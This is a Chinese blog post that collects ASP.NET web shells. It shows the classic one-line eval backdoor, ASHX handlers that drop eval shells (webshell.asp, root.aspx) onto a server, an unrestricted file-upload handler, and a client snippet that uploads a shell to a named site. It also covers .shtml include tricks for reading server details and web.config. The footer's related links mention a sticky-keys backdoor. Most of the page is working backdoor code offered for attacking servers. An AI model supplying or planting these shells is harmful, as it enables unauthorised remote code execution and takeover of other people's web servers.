https://www.cnblogs.com/Fluorescence-tjy/p/9855828.html

一、标准ASPX一句话木马

.NET平台下的一句话木马则百年不变,最常见的当属下面这句

<%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>

想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。

<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>

二、ASHX一句话木马

ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用。

二、ASHX写文件木马

木马执行后会在当前目录下生成webshell.asp一句话木马,密码是pass 也可以写入其它文件。

<%@ WebHandler Language="C#" class="Handler"% >

using System;

using System.Web;

using System.IO;

public class Handler:IHttpHandler {

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/plain";

StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));

file.Write("<%eval request("pass")%>");

file.Flush();

file.Close();

context.Response.Write("www.webshell.cc");

}

public bool IsReusable {

get {

return false;

}

}

}

将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

1.用String连接字符串

<%@ WebHandler Language="C#" Class="Handler" %>

using System;

using System.Web;

using System.IO;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
file1.Write(show);
file1.Flush();
file1.Close(); } public bool IsReusable {
get {
return false;
}
}

}

2.比较笨的方法,看代码吧

<%@ WebHandler Language="C#" Class="Uploader" %>

using System;

using System.IO;

using System.Web;

public class Uploader : IHttpHandler

{

public void ProcessRequest(HttpContext hc)

{

foreach (string fileKey in hc.Request.Files)

{

HttpPostedFile file = hc.Request.Files[fileKey];

file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));

}

}

public bool IsReusable
{
get { return true; }
}

}

然后用VS建立WinForm程序~主函数里写:

System.Net.WebClient myWebClient = new System.Net.WebClient();

myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\ma.aspx");

三、stm/shtm/shtml脚本

虽然不能直接拿到webshell,但是可以获取到一些服务器信息。注意stm中的include可以将web.config文件中的内容包含进来。

[an error occurred while processing the directive]

当前文件名称:[an error occurred while processing the directive]

Web服务器的名称和版本:[an error occurred while processing the directive]

主机名:[an error occurred while processing the directive]

端口:[an error occurred while processing the directive]

客户或客户代理IP地址:[an error occurred while processing the directive]

客户或客户代理主机名:[an error occurred while processing the directive]

PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:

[an error occurred while processing the directive]

客户端给出附加路径信息:[an error occurred while processing the directive]

[an error occurred while processing the directive]
[an error occurred while processing the directive]
[an error occurred while processing the directive]

标签: ASPX后门, ASHX后门

ashx后门[转]的更多相关文章

  1. ashx后门

    一.标准ASPX一句话木马 .NET平台下的一句话木马则百年不变,最常见的当属下面这句 <%@ Page Language=”Jscript”%><%eval(Request.Ite ...

  2. Visual Studio 2013 添加一般应用程序(.ashx)文件到SharePoint项目

    默认,在用vs2013开发SharePoint项目时,vs没有提供一般应用程序(.ashx)的项目模板,本文解决此问题. 以管理员身份启动vs2013,创建一个"SharePoint 201 ...

  3. Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”

    Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...

  4. ashx中Response.ContentType的常用类型

    ashx中Response.ContentType的常用类型: text/plaintext/htmltext/xmlapplication/jsonimage/GIFapplication/x-cd ...

  5. 一种开发模式:ajax + ashx + UserControl

    一.ajax+ashx模式的缺点     在web开发过程中,为了提高网站的用户体验,或多或少都会用到ajax技术,甚至有的网站全部采用ajax来实现,大量使用ajax在增强用户体验的同时会带来一些负 ...

  6. shift粘滞键后门创建/复原批处理

    创建shift粘滞键后门: 1 c: 2 3 cd \Windows\System32\ 4 5 rename sethc.exe bak_sethc.exe 6 7 xcopy cmd.exe se ...

  7. 如何使用VS在SharePont 2013中插入ashx文件

    http://www.lifeonplanetgroove.com/adding-and-deploying-generic-handlers-ashx-to-a-sharepoint-2010-vi ...

  8. 分享一个html+js+ashx+easyui+ado.net权限管理系统

    EasyUI.权限管理 这是个都快被搞烂了的组合,但是easyui的确好用,权限管理在项目中的确实用.一直以来博客园里也不少朋友分享过,但是感觉好的要不没源码,要不就是过度设计写的太复杂看不懂,也懒得 ...

  9. rootkit后门检查工具RKHunter

    ---恢复内容开始--- rkhunter简介: 中文名叫"Rootkit猎手", rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检 ...

随机推荐

  1. 折半枚举——poj3977

    暴力搜索超时,但是折半后两部分状态支持合并的情况,可用折半枚举算法 poj3977 给一个序列a[],从里面找到k个数,使其和的绝对值最小 经典折半枚举法+二分解决,对于前一半数开一个map,map[ ...

  2. java有序列表

    关于有序和无序的定义: 有序:有序列表中的元素具有某种内在的关联,这种关联定义了列表之间的顺序 无序:无序列表中的元素按使用者所选择得任意方式排序 索引:索引列表为他的元素维护一段连续的数字索引值 有 ...

  3. 洛谷 P4196 [CQOI2006]凸多边形 (半平面交)

    题目链接:P4196 [CQOI2006]凸多边形 题意 给定 \(n\) 个凸多边形,求它们相交的面积. 思路 半平面交 半平面交的模板题. 代码 #include <bits/stdc++. ...

  4. struts2自定义拦截器 设置session并跳转

    实例功能:当用户登陆后,session超时后则返回到登陆页面重新登陆. 为了更好的实现此功能我们先将session失效时间设置的小点,这里我们设置成1分钟 修改web.xml view plainco ...

  5. JUC源码分析-线程池篇(一):ThreadPoolExecutor

    JUC源码分析-线程池篇(一):ThreadPoolExecutor Java 中的线程池是运用场景最多的并发框架,几乎所有需要异步或并发执行任务的程序都可以使用线程池.在开发过程中,合理地使用线程池 ...

  6. zabbix--zabbix server的配置以及zabbix agent的安装配置

    1.zabbix  server端的配置在进行源码安装zabbix时已经配置好了,具体要配置的参数如下: ListenPort=10051 server服务的监听端口,默认是10051 DBHost= ...

  7. jmeter-测试webservice接口

    测试webservice接口(soap类型接口) 一.webservice协议的本质 一个经过封装的post类型的HTTP请求 Web service一般就是用SOAP协议通过HTTP来调用它,其实他 ...

  8. Mac OS X终端的常用操作命令(UNIX指令)

    用了十多年windows,终于换了个高配Mac,俗话说 无论前端还是后端最终还是走向了linux,无论是换了多少台PC最终都会走向Mac.不学习命令行用什么Mac? 干就完了~ pwd 显示现在的文件 ...

  9. 关于tp验证码模块

    转自https://blog.csdn.net/u011415782/article/details/77367280 ♜ 功能开发 1).引入第三方扩展包 进行 TP5 的开发,Composer 的 ...

  10. 个人使用Viso绘制的简单神经网络实现原理图